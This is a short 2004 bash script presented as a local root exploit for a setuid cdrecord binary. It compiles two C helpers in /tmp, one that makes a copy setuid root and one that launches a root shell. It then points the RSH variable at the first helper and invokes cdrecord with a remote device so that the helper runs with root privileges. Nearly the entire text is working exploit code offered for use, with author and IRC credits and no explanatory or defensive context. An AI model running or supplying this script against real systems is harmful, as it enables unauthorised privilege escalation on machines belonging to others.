Cdrecord Local Root Exploit
#!/bin/bash
echo "cdr-exp.sh -- CDRecord local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.09.2004"
echo "IRC : irc.chroot.org #chroot"
cd /tmp
cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);
return 0;
}
_EOF_
cat > ss.c <<_EOF_
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);
return 0;
}
_EOF_
gcc -o s s.c
gcc -o ss ss.c
export RSH=/tmp/s
cdrecord dev=REMOTE:newbug@brk.chroot.org:0,0,0 /blah/blah >/dev/null 2>&1
/tmp/ss